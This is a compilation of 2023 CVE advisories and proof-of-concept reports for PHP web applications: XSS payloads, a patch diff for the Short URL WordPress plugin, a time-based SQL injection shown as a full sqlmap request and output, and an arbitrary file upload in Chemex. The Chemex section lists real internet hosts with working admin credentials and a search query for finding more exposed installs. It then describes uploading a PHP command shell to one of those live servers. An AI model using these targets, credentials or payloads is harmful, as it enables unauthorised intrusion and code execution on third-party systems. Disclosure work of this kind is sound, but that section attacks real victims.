A Cross Site Scripting vulnerability in PHPgurukl User Registration Login and User Management System with admin panel v.1.0 allows a local attacker to execute arbitrary code via a crafted script to the signup.php.

\# User Registration login and user management system with admin panel v.1.0 - Stored Cross-Site Scripting (XSS)Vulnerability

\## Stored Cross Site Scripting Vulnerability found in User Registration login and user management system with admin panel v.1.0

Vulnerability Description -

The User Registration login and user management system with admin panel v.1.0, developed by PHPGurukul, is susceptible to a critical security vulnerability known as Stored Cross-Site Scripting (XSS). This vulnerability enables attackers to inject malicious JavaScript code, which is then stored and executed by the application.

Steps to Reproduce -

The following steps demonstrate how to exploit the Stored XSS vulnerability in the Hostel Management System v.1.0:

1\. Visit the User Registration login and user management system with admin panel v.1.0 application by accessing the URL: http://localhost/loginsystem/signup.php

2\. Click on the "Sign Up" and Creat New User Account

"First Name" "Last Name" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.

3\. Click on the "Submit" button.

4\. Login to the Account using the Email id and Password Which You Have Entered, injected payload will be executed.

As a result of successful exploitation, the injected JavaScript code will be stored in the application's database. Subsequently, whenever another user accesses the affected page, the injected code will execute, triggering an alert displaying the text "XSS." This allows the attacker to execute arbitrary code within the user's browser, potentially leading to further attacks or unauthorized actions.

\*\*Reference: CVE-2023-34648\*\*

CVE-2023-34648: Common-Vulnerabilities-and-Exposures/CVE-2023-34648 at main · ckalnarayan/Common-Vulnerabilities-and-Exposures

The Short URL plugin for WordPress is vulnerable to stored Cross-Site Scripting via the 'comment' parameter due to insufficient input sanitization and output escaping in versions up to, and including, 1.6.4. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

*   **shorten-url/trunk/shorten-url.php**
    
    r2654759
    
    r2931815
    
     
    
    15
    
    15
    
     \* Plugin URI:        https://wordpress.org/plugins/shorten-url/
    
    16
    
    16
    
     \* Description:       Short URL helps you beautify, manage, share & cloak any links on or off of your WordPress website. Create links that look how you want using your own domain name!
    
    17
    
     
    
     \* Version:           1.6.4
    
     
    
    17
    
     \* Version:           1.6.5
    
    18
    
    18
    
     \* Author:            KaizenCoders
    
    19
    
    19
    
     \* Author URI:        https://kaizencoders.com/
    
    20
    
     
    
     \* Tested up to:      5.8.3
    
     
    
    20
    
     \* Tested up to:      6.2.2
    
    21
    
    21
    
     \* License:           GPL-3.0+
    
    22
    
    22
    
     \* License URI:       http://www.gnu.org/licenses
    
    …
    
    …
    
     
    
    459
    
    459
    
               
    
    460
    
    460
    
                    if (isset($\_POST\['add'\])) {
    
    461
    
     
    
                        $url\_ext = str\_replace("'", "", $\_POST\['url\_externe'\]) ;
    
    462
    
     
    
                        $comment = str\_replace("'", "", $\_POST\['comment'\]) ;
    
     
    
    461
    
                        $url\_ext = sanitize\_text\_field(str\_replace("'", "", $\_POST\['url\_externe'\])) ;
    
     
    
    462
    
                        $comment = sanitize\_text\_field(str\_replace("'", "", $\_POST\['comment'\])) ;
    
    463
    
    463
    
                        if (!preg\_match("/^http/i", $url\_ext)) {
    
    464
    
    464
    
                            $url\_ext = "http://".$url\_ext  ;
    
    …
    
    …
    
     
    
    694
    
    694
    
            $idLink = $\_POST\['idLink'\];
    
    695
    
    695
    
            // Empty the database for the given idLink
    
    696
    
     
    
            $q = "DELETE FROM {$table\_name} WHERE id\_post=".$idLink ;
    
     
    
    696
    
            $q = $wpdb->prepare("DELETE FROM {$table\_name} WHERE id\_post=%d", $idLink);
    
    697
    
    697
    
            $wpdb->query( $q ) ;
    
    698
    
    698
    
            // Create a new entry
    
    …
    
    …
    
     
    
    1261
    
    1261
    
    }
    
    1262
    
    1262
    
     
    
    1263
    
    if ( ! defined( 'KC\_SU\_MIN\_PHP\_VER' ) ) {
    
     
    
    1264
    
        define( 'KC\_SU\_MIN\_PHP\_VER', '5.6' );
    
     
    
    1265
    
    }
    
     
    
    1266
    
     
    
    1267
    
    if ( ! defined( 'KC\_SU\_MAX\_PHP\_VER' ) ) {
    
     
    
    1268
    
        define( 'KC\_SU\_MAX\_PHP\_VER', '7.4.22' );
    
     
    
    1269
    
    }
    
     
    
    1270
    
     
    
    1271
    
    if ( ! function\_exists( 'kc\_su\_fail\_php\_version\_notice' ) ) {
    
     
    
    1272
    
        /\*\*
    
     
    
    1273
    
         \* Shorten URL admin notice for minimum & maximum PHP version.
    
     
    
    1274
    
         \*
    
     
    
    1275
    
         \* Warning when the site doesn't have the minimum required PHP version.
    
     
    
    1276
    
         \*
    
     
    
    1277
    
         \* @return void
    
     
    
    1278
    
         \* @since 1.6.5
    
     
    
    1279
    
         \*
    
     
    
    1280
    
         \*/
    
     
    
    1281
    
        function kc\_su\_fail\_php\_version\_notice() {
    
     
    
    1282
    
            /\* translators: %s: PHP version \*/
    
     
    
    1283
    
            $message      = sprintf( esc\_html\_\_( 'Shorten URL requires PHP version between %s & %s, plugin is currently NOT RUNNING.', 'shorten-url' ), KC\_SU\_MIN\_PHP\_VER,  KC\_SU\_MAX\_PHP\_VER);
    
     
    
    1284
    
            $html\_message = sprintf( '<div class="error">%s</div>', wpautop( $message ) );
    
     
    
    1285
    
            echo wp\_kses\_post( $html\_message );
    
     
    
    1286
    
        }
    
     
    
    1287
    
    }
    
     
    
    1288
    
     
    
    1289
    
    if ( ! function\_exists( 'kc\_su\_migrate\_to\_url\_shortify' ) ) {
    
     
    
    1290
    
        /\*\*
    
     
    
    1291
    
         \* Shorten URL admin notice for minimum & maximum PHP version.
    
     
    
    1292
    
         \*
    
     
    
    1293
    
         \* Warning when the site doesn't have the minimum required PHP version.
    
     
    
    1294
    
         \*
    
     
    
    1295
    
         \* @return void
    
     
    
    1296
    
         \* @since 1.6.5
    
     
    
    1297
    
         \*
    
     
    
    1298
    
         \*/
    
     
    
    1299
    
        function kc\_su\_migrate\_to\_url\_shortify() {
    
     
    
    1300
    
            /\* translators: %s: PHP version \*/
    
     
    
    1301
    
            $message      = sprintf( \_\_('We are retiring Shorten URL plugin and will continue to develop <a href="%s" target="\_blank">URL Shortify</a>. We will provide help to migrate to URL Shortify. <a href="mailto:hello@kaizencoders.com">Contact us</a>  for migration.','shorten-url'), 'https://wordpress.org/plugins/url-shortify/');
    
     
    
    1302
    
            $html\_message = sprintf( '<div class="notice notice-info">%s</div>', wpautop( $message ) );
    
     
    
    1303
    
            echo wp\_kses\_post( $html\_message );
    
     
    
    1304
    
        }
    
     
    
    1305
    
    }
    
     
    
    1306
    
     
    
    1307
    
    add\_action( 'admin\_notices', 'kc\_su\_migrate\_to\_url\_shortify' );
    
     
    
    1308
    
     
    
    1309
    
    if ( ! version\_compare( PHP\_VERSION, KC\_SU\_MIN\_PHP\_VER, '>=' ) || ! version\_compare( PHP\_VERSION, KC\_SU\_MAX\_PHP\_VER, '<=' )) {
    
     
    
    1310
    
        add\_action( 'admin\_notices', 'kc\_su\_fail\_php\_version\_notice' );
    
     
    
    1311
    
     
    
    1312
    
        return;
    
     
    
    1313
    
    }
    
     
    
    1314
    
     
    
    1315
    
     
    
    1316
    
    1263
    
    1317
    
    $shorturl = shorturl::getInstance();
    
    1264
    
    1318

CVE-2023-1602: Changeset 2931815 for shorten-url/trunk/shorten-url.php – WordPress Plugin Repository

Chemex through 3.7.1 is vulnerable to arbitrary file upload.

**1\. Synopsis**

Chemex is vulnerable to arbitrary file upload vulnerability, which can lead to code execution.

This vulnerability exists in Chemex's latest verion 3.7.1 and all versions below. The upload/import function implements filter only in frontend, there is no filter in the backend code. Attackers can easily bypass it with tools like Burpsuite.

**2\. Analysis**

The vulnerable endpoints is listed below:  
/dcat-api/form/upload (/organization/users)  
/device/records  
/device/categories  
/vendor/records

We are going to analysis endpoint **/organization/users**.

The corresponding code is in: chemex-main/app/Admin/Forms/UserImportForm.php function form

It applies filter to only accept xlsx and csv file, but only in the frontend

The backend code to upload function is in: chemex-main/vendor/dcat/laravel-admin/src/Form/Field/UploadField.php function upload

Read the code carefully, you will find there is no filter at all.

**3\. Exploit**

You can use the following syntax to search vulnerable target in internet with Hunter (https://hunter.qianxin.com/) : web.body="让IT资产管理更加简单"&&web.body="dcat-admin/dcat/plugins/vendors.min.js"

You can login with default cred **admin : admin**, or some simple passwords.

The following targets has been tested by me:

    https://gz.yunxiaoseo.com/ 	admin : 123456
    http://42.192.138.41:8005/	admin : admin
    https://jixiadmin.qiyekj.cn/	admin : admin
    http://121.28.101.42:81/	admin : admin
    http://81.70.56.151/		admin : admin
    

The target we are going to test is http://81.70.56.151/, it's the latest version I found so far (the latest is 3.7.1).

Click "组织" button or go to this url directly: /organization/users, then click the green "导入人员信息模板" button.

It will pop up a window to let you select a file to upload. Drag or select a xlsx file to upload, then intercept it with burp.

In burp, send the request to repeater, then modify the **filename** parameter to a php file, fill in some simple code to execute cmd.

The uploaded path will be echoed in the response, access it in your web browser.

Finally, you gain code execution.

The video of demonstration of latest version can be found in: https://mega.nz/file/dUlAyY7J#5ceaOxDibsRaqSC8VEqB6IZCWdiFCU1-WhfbLB72la0

CVE-2023-34738: Arbitrary file upload vulnerability in Chemex 3.7.1 · Issue #64 · celaraze/chemex

Multiple cross-site scripting (XSS) vulnerabilities were discovered in Church CRM v4.5.3 in GroupReports.php via GroupRole, ReportModel, and OnlyCart parameters.

**If you have the ChurchCRM software running, please file an issue using the _Report an issue_ in the help menu.**

**On what page in the application did you find this issue?**

/churchcrm/GroupReports.php

**On what type of server is this running? Dedicated / Shared hosting? Linux / Windows?**

Linux

**What browser (and version) are you running?**

Firefox

**What version of PHP is the server running?**

7.4.33

**What version of SQL Server are you running?**

5.7.26

**What version of ChurchCRM are you running?**

4.5.3

Description:  
XSS was detected in GroupReports.php, three hidden parameters were found in the code of this page, in which this vulnerability is possible: GroupRole, ReportModel, OnlyCart. A browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact:  
The vulnerability allows an attacker to send malicious JavaScript code which could result in hijacking of the user's cookie/session tokens , redirecting the user to a malicious webpage, downloading malicious files hosted on attackers server and performing many other unintended browser actions

Proof of Concept:  
**<script>alert('XSS')</script>**

CVE-2023-33661: XSS exists in the group report page · Issue #6474 · ChurchCRM/CRM

PHPgurukl Hostel Management System v.1.0 is vulnerable to Cross Site Scripting (XSS).

\# Hostel Management System v.1.0 - Stored Cross-Site Scripting (XSS)Vulnerability

\## Stored Cross Site Scripting Vulnerability found in Hostel Management System v.1.0

Vulnerability Description -

The Hostel Management System v.1.0, developed by PHPGurukul, is susceptible to a critical security vulnerability known as Stored Cross-Site Scripting (XSS). This vulnerability enables attackers to inject malicious JavaScript code, which is then stored and executed by the application.

Steps to Reproduce -

The following steps demonstrate how to exploit the Stored XSS vulnerability in the Hostel Management System v.1.0:

1\. Visit the Hostel Management System v.1.0 application by accessing the URL: http://localhost/hostel/index.php.

2\. Click on the "Sign Up" and Creat New User Account

"First Name" "Last Name" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.

3\. Click on the "Submit" button.

4\. Login to the Account using the Email id and Password Which You Have Entered, injected payload will be executed.

As a result of successful exploitation, the injected JavaScript code will be stored in the application's database. Subsequently, whenever another user accesses the affected page, the injected code will execute, triggering an alert displaying the text "XSS." This allows the attacker to execute arbitrary code within the user's browser, potentially leading to further attacks or unauthorized actions.

\*\*Reference: CVE-2023-34647\*\*

CVE-2023-34647: Common-Vulnerabilities-and-Exposures/CVE-2023-34647 at main · ckalnarayan/Common-Vulnerabilities-and-Exposures

PHPgurukl Hostel Management System v.1.0 is vulnerable to Cross Site Scripting (XSS) via Add New Course.

\# Hostel Management System v.1.0 - Stored Cross-Site Scripting (XSS)Vulnerability

\## Stored Cross Site Scripting Vulnerability found in Hostel Management System v.1.0

Vulnerability Description -

The Hostel Management System v.1.0, developed by PHPGurukul, is susceptible to a critical security vulnerability known as Stored Cross-Site Scripting (XSS). This vulnerability enables attackers to inject malicious JavaScript code, which is then stored and executed by the application.

Steps to Reproduce -

The following steps demonstrate how to exploit the Stored XSS vulnerability in the Hostel Management System v.1.0:

1\. Visit the Hostel Management System v.1.0 application by accessing the URL: http://localhost/hostel/index.php.

2\. Click on the "Admin" button to navigate to the admin login page.

3\. Login to the Admin account using the default credentials.

\- Username: admin

\- Password: Test@123

4\. Proceed to the Admin Profile page.

5\. Click on Courses, and Add New Course, Within the "Course Code" "Course Name(Short)" "Course Name(Full)" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.

6\. Click on the "Submit" button.

7\. Refresh the page, and the injected payload will be executed.

As a result of successful exploitation, the injected JavaScript code will be stored in the application's database. Subsequently, whenever another user accesses the affected page, the injected code will execute, triggering an alert displaying the text "XSS." This allows the attacker to execute arbitrary code within the user's browser, potentially leading to further attacks or unauthorized actions.

\*\*Reference: CVE-2023-34652\*\*

CVE-2023-34652: Common-Vulnerabilities-and-Exposures/CVE-2023-34652 at main · ckalnarayan/Common-Vulnerabilities-and-Exposures

PHPgurukl Hospital Management System v.1.0 is vulnerable to Cross Site Scripting (XSS).

Permalink

Cannot retrieve contributors at this time

\# Hospital Management System in php v.1.0 - Stored Cross-Site Scripting (XSS)Vulnerability

\## Stored Cross Site Scripting Vulnerability found in Hospital Management System in php v.1.0

Vulnerability Description -

The Hospital Management System in php v.1.0, developed by PHPGurukul, is susceptible to a critical security vulnerability known as Stored Cross-Site Scripting (XSS). This vulnerability enables attackers to inject malicious JavaScript code, which is then stored and executed by the application.

Steps to Reproduce -

The following steps demonstrate how to exploit the Stored XSS vulnerability in the Hostel Management System v.1.0:

1\. Visit the Hospital Management System in php v.1.0 application by accessing the URL: http://localhost/hospital/

2\. Click on the "Patient Login" and Creat New Patient Account

"Full Name" "Address" "City" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.

3\. Click on the "Submit" button.

3\. Login to the Patient account using the Email id and Password Which You Have Entered, injected payload will be executed.

4\. Go to the Edit Account Details Page,

"Full Name" "Address" "City" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.

6\. Click on the "Submit" button.

7\. Refresh the page, and the injected payload will be executed.

As a result of successful exploitation, the injected JavaScript code will be stored in the application's database. Subsequently, whenever another user accesses the affected page, the injected code will execute, triggering an alert displaying the text "XSS." This allows the attacker to execute arbitrary code within the user's browser, potentially leading to further attacks or unauthorized actions.

\*\*Reference: CVE-2023-34651\*\*

CVE-2023-34651: Common-Vulnerabilities-and-Exposures/CVE-2023-34651 at main · ckalnarayan/Common-Vulnerabilities-and-Exposures

PHPgurukl Small CRM v.1.0 is vulnerable to Cross Site Scripting (XSS).

\# Small CRM v.1.0 - Stored Cross-Site Scripting (XSS)Vulnerability

\## Stored Cross Site Scripting Vulnerability found in Small CRM v.1.0

Vulnerability Description -

The Small CRM v.1.0, developed by PHPGurukul, is susceptible to a critical security vulnerability known as Stored Cross-Site Scripting (XSS). This vulnerability enables attackers to inject malicious JavaScript code, which is then stored and executed by the application.

Steps to Reproduce -

The following steps demonstrate how to exploit the Stored XSS vulnerability in the Hostel Management System v.1.0:

1\. Visit the Small CRM v.1.0 application by accessing the URL: http://localhost/crm/index.php

2\. Click on the "User Sign Up" and Creat New User Account

"Name" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.

3\. Click on the "Submit" button.

4\. Login to the User account using the Email id and Password Which You Have Entered, injected payload will be executed.

5\. Also Login Through Admin Account, Click on Users Option

6\. Refresh the page, and the injected payload will be executed.

As a result of successful exploitation, the injected JavaScript code will be stored in the application's database. Subsequently, whenever another user accesses the affected page, the injected code will execute, triggering an alert displaying the text "XSS." This allows the attacker to execute arbitrary code within the user's browser, potentially leading to further attacks or unauthorized actions.

\*\*Reference: CVE-2023-34650\*\*

CVE-2023-34650: Common-Vulnerabilities-and-Exposures/CVE-2023-34650 at main · ckalnarayan/Common-Vulnerabilities-and-Exposures

Lost and Found Information System v1.0 was discovered to contain a SQL injection vulnerability via the component /php-lfis/admin/?page=system_info/contact_information.

\# Exploit Title:Lost and Found Information System v1.0 - Sql Injection # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html # Version: V1.0.0 # Tested on:Linux REQUEST POST /php-lfis/classes/SystemSettings.php?f=update\_settings HTTP/1.1 Host: localhost Content-Length: 454 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94" Accept: application/json, text/javascript, \*/\*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NerUgrr08nxdAqe X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 sec-ch-ua-platform: "Linux" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/php-lfis/admin/?page=system\_info/contact\_information Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=fncg346s7j3fr654lsapbb8sqs Connection: close ------WebKitFormBoundary2NerUgrr08nxdAqe Content-Disposition: form-data; name="phone" 1234567890 ------WebKitFormBoundary2NerUgrr08nxdAqe Content-Disposition: form-data; name="mobile" 1234567890 ------WebKitFormBoundary2NerUgrr08nxdAqe Content-Disposition: form-data; name="email" test1@test.com ------WebKitFormBoundary2NerUgrr08nxdAqe Content-Disposition: form-data; name="address" test1 ------WebKitFormBoundary2NerUgrr08nxdAqe-- sqlmap -r lfis.txt --random-agent --batch -tamper=space2comment --dbs \[!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program \[\*\] starting @ 22:21:18 /2023-05-11/ \[22:21:18\] \[INFO\] parsing HTTP request from 'lfis.txt' \[22:21:18\] \[INFO\] loading tamper module 'space2comment' \[22:21:18\] \[INFO\] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30' from file '/usr/share/sqlmap/data/txt/user-agents.txt' Multipart-like data found in POST body. Do you want to process it? \[Y/n/q\] Y \[22:21:18\] \[INFO\] resuming back-end DBMS 'mysql' \[22:21:18\] \[INFO\] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: MULTIPART phone ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ------WebKitFormBoundarydhpsLF47Y6ZvrvP2 Content-Disposition: form-data; name="phone''' AND (SELECT 1875 FROM (SELECT(SLEEP(5)))oGnm) AND 'hBeF'='hBeF ------WebKitFormBoundarydhpsLF47Y6ZvrvP2 Content-Disposition: form-data; name="mobile" 1234567890 ------WebKitFormBoundarydhpsLF47Y6ZvrvP2 Content-Disposition: form-data; name="email" test@test.com ------WebKitFormBoundarydhpsLF47Y6ZvrvP2 Content-Disposition: form-data; name="address" test ------WebKitFormBoundarydhpsLF47Y6ZvrvP2-- --- \[22:21:18\] \[WARNING\] changes made by tampering scripts are not included in shown payload content(s) \[22:21:18\] \[INFO\] the back-end DBMS is MySQL web application technology: PHP 8.1.17, Apache 2.4.56 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) \[22:21:18\] \[INFO\] fetching database names \[22:21:18\] \[INFO\] fetching number of databases \[22:21:18\] \[WARNING\] time-based comparison requires larger statistical model, please wait.............................. (done) \[22:21:18\] \[WARNING\] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions \[22:21:18\] \[WARNING\] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' \[22:21:18\] \[ERROR\] unable to retrieve the number of databases \[22:21:18\] \[INFO\] falling back to current database \[22:21:18\] \[INFO\] fetching current database \[22:21:18\] \[INFO\] resumed: lfis\_db available databases \[1\]: \[\*\] lfis\_db \[22:21:18\] \[INFO\] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost' \[22:21:18\] \[WARNING\] your sqlmap version is outdated \[\*\] ending @ 22:21:18 /2023-05-11/

CVE-2023-33592: CVE/CVE-2023-33592 at main · DARSHANAGUPTA10/CVE

NewsLetter Script version 2.4 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://simplephpscripts.com/newsletter-script-php/                        ││  Vendor   : SimplePHPscripts                                                           ││  Software : NewsLetter Script 2.4                                                      ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /preview.phpURL parameter is vulnerable to RXSShttps://website/preview.php/tb0g5"><script>alert(1)</script>kp1ea?cat_id=4[-] Done

Tag

#php